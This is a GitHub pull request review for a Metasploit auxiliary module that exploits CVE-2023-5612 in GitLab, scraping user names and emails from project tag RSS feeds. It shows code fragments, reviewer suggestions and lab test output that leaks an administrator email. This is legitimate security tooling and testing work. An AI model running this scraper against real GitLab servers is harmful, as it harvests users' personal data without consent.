-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
module for gitlab public email disclosure CVE-2023-5612 #18821
Conversation
can be improved by #18723 when it lands, but not a requirement |
### Docker installation instructions can be found here: | ||
|
||
https://docs.gitlab.com/ee/install/docker.html | ||
|
||
Once installed, create a project. Once the projecte is | ||
created, add a new tag by expanding the Code menu item | ||
on the left, then selecting Tags. Then click on the | ||
New Tag button in the top right corner. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Move this block under Vulnerable Applications block, after the description paragraph
1. You should receive output with user names and email addresses assocaited with project tags | ||
|
||
## Options | ||
By default the `TARGETPROJECT` option is empty. This will gather information for ALL PUBLICLY ACCESSIBLE PROJECTS. If you |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This should be a H3 item like:
### TARGETPROJECT
This will gather information for ALL PUBLICLY ACCESSIBLE PROJECTS. If you know the specific project you would like to target, you would need to set that here. Defaults to empty.
end | ||
|
||
def get_contents(tags) | ||
print_status('Check RSS tags feed for: ' + tags) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
vprint_status("Check RSS tags feed for: #{tags}")
I chose vprint
here so that someone who just wants to copy/paste the username/emails will have that option and not the cruft in between
print_status('Check RSS tags feed for: ' + tags) | ||
|
||
# Tag needs to be lower case, so... | ||
tags = tags.split('/')[0] + '/' + tags.split('/')[1].downcase |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
tags = "#{tags.split('/')[0]}/#{tags.split('/')[1].downcase}"
|
||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, tags, '-', 'tags'), | ||
'method' => 'GET', 'vars_get' => { 'format' => 'atom' } |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
add a newline after the comma to make this easier to read
) | ||
|
||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200 || res.code == 301 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
is this correct since the module doesn't take credentials?
if not_found | ||
print_bad('No tags or authors found') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We can make this a little easier to read:
if not_found
vprint_bad('No tags or authors found')
return
end
now we can get rid of the else (and end), and un-indent 1 level.
rescue ::Rex::ConnectionError | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This can be removed, its from the webapp template which needs to be updated.
if datastore['TARGETPROJECT'].nil? | ||
print_good('Scraping ALL projects...') | ||
request = { | ||
'uri' => normalize_uri(target_uri.path, '/api/v4/projects'), | ||
'method' => 'GET', 'vars_get' => { | ||
'output_mode' => 'json' | ||
} | ||
} | ||
|
||
res = send_request_cgi(request) | ||
|
||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200 | ||
|
||
res.get_json_document.each do |entry| | ||
tags = entry['path_with_namespace'] | ||
get_contents(tags) | ||
end | ||
|
||
else | ||
get_contents(datastore['TARGETPROJECT'].to_s) | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I would re-arrange this, similar to above.
unless datastore['TARGETPROJECT'].nil?
get_contents(datastore['TARGETPROJECT'].to_s)
return
end
then you can remove the else (and trailing end), and unindent by 1 level
print_good('Scraping ALL projects...') | ||
request = { | ||
'uri' => normalize_uri(target_uri.path, '/api/v4/projects'), | ||
'method' => 'GET', 'vars_get' => { |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
add a newline after the comma to make it a little easier to read
…orkspaces being case-insensitive.
# Tag needs to be lower case, so... | ||
tags = "#{tags.split('/')[0]}/#{tags.split('/')[1].downcase}" | ||
|
||
res = send_request_cgi( |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We should check to ensure res
does not get returned as nil
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||
print_good('Scraping ALL projects...') | ||
request = { | ||
'uri' => normalize_uri(target_uri.path, '/api/v4/projects'), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Do you know if older vulnerable versions will respond to /api/v4
?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Looks like v4 has been around since 2018: https://gitlab.com/gitlab-org/gitlab/-/commit/e1b25b0fedb5e0a72063e14feff0bde1c93447d7
I'm skeptical that this vuln would even work on something that old due to other urls or url formats changing
'erruquill' # HackerOne Bug Bounty, analysis | ||
], | ||
'References' => [ | ||
[ 'URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/428441' ], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is returning a 404 for me currently
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
looks like this was linked in the CVE report, but is now gone, and archive.org didn't catch it.
I think replacing with this may work: https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/
…ference link to vendor's issues page.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for making the requested changes @n00bhaxor! Looks great. After testing I just have one suggestion.
Testing on GitLab 16.7.0:
msf6 auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > options
Module options (auxiliary/gather/gitlab_tags_rss_feed_email_disclosure):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 6780 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETPROJECT no Workspace and project to target
TARGETURI / yes The URI of the GitLab Application
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > set targetproject root/public_project
targetproject => root/public_project
msf6 auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > run
[*] Running module against 127.0.0.1
[*] Check RSS tags feed for: root/public_project
[+] name: Administrator
[+] e-mail: [email protected]
[*] Auxiliary module execution completed
msf6 auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > unset targetproject
Unsetting targetproject...
msf6 auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > run
[*] Running module against 127.0.0.1
[+] Scraping ALL projects...
[*] Check RSS tags feed for: root/test
[-] No tags or authors found
[*] Check RSS tags feed for: root/public_project
[+] name: Administrator
[+] e-mail: [email protected]
[*] Auxiliary module execution completed
modules/auxiliary/gather/gitlab_tags_rss_feed_email_disclosure.rb
Outdated
Show resolved
Hide resolved
@msjenkins-r7 test this please |
Thanks for your contribution @n00bhaxor ! I looks good to me. I made some minor changes in f872535 and I'll land it shortly. I tested against a docker installation and verified the leaked information was correctly displayed.
|
Release NotesThis adds an auxiliary module that leverages an information disclosure vulnerability (CVE-2023-5612) in Gitlab versions before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 to retrieve user email addresses via tags feed. |
Add a module to exploit CVE-2023-5612, public email disclosure in project tags in RSS feed.
Verification
msfconsole
use /auxiliary/gather/gitlab_tags_rss_feed_email_disclosure
set RHOSTS [IP]
run